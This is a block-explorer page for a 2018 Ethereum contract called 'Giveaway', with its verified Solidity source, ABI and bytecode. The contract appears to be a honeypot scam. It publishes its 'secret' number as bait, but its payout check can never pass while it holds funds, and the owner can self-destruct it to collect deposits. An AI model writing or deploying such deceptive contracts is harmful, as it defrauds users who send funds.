Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Funded By
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| - | 10896413 | 1951 days ago | 0.08 ETH |
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Self Destruct called at Txn Hash 0x878228a301ca14ad077b7ee4373a52bbdc5871720d361ae066b157e65817d959
Contract Name:
Giveaway
Compiler Version
v0.4.21+commit.dfe3193c
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2018-03-18
*/
pragma solidity ^0.4.21;
contract Giveaway {
address private owner = msg.sender;
uint public SecretNumber = 24;
function() public payable {
}
function Guess(uint n) public payable {
if(msg.value >= this.balance && n == SecretNumber && msg.value >= 0.07 ether) {
// Previous Guesses makes the number easier to guess so you have to pay more
msg.sender.transfer(this.balance + msg.value);
}
}
function kill() public {
require(msg.sender == owner);
selfdestruct(msg.sender);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"n","type":"uint256"}],"name":"Guess","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"SecretNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]Contract Creation Code
606060405260008054600160a060020a03191633600160a060020a03161790556018600155341561002f57600080fd5b6101aa8061003e6000396000f3006060604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166341c0e1b5811461005857806375f96ead1461006b578063c2610cda14610076575b005b341561006357600080fd5b61005661009b565b6100566004356100dc565b341561008157600080fd5b610089610178565b60405190815260200160405180910390f35b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146100c357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b3073ffffffffffffffffffffffffffffffffffffffff16313410158015610104575060015481145b8015610117575066f8b0a10e4700003410155b15610175573373ffffffffffffffffffffffffffffffffffffffff166108fc343073ffffffffffffffffffffffffffffffffffffffff1631019081150290604051600060405180830381858888f19350505050151561017557600080fd5b50565b600154815600a165627a7a723058205e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b10029
Deployed Bytecode
0x6060604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166341c0e1b5811461005857806375f96ead1461006b578063c2610cda14610076575b005b341561006357600080fd5b61005661009b565b6100566004356100dc565b341561008157600080fd5b610089610178565b60405190815260200160405180910390f35b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146100c357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b3073ffffffffffffffffffffffffffffffffffffffff16313410158015610104575060015481145b8015610117575066f8b0a10e4700003410155b15610175573373ffffffffffffffffffffffffffffffffffffffff166108fc343073ffffffffffffffffffffffffffffffffffffffff1631019081150290604051600060405180830381858888f19350505050151561017557600080fd5b50565b600154815600a165627a7a723058205e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b10029
Swarm Source
bzzr://5e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b1
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.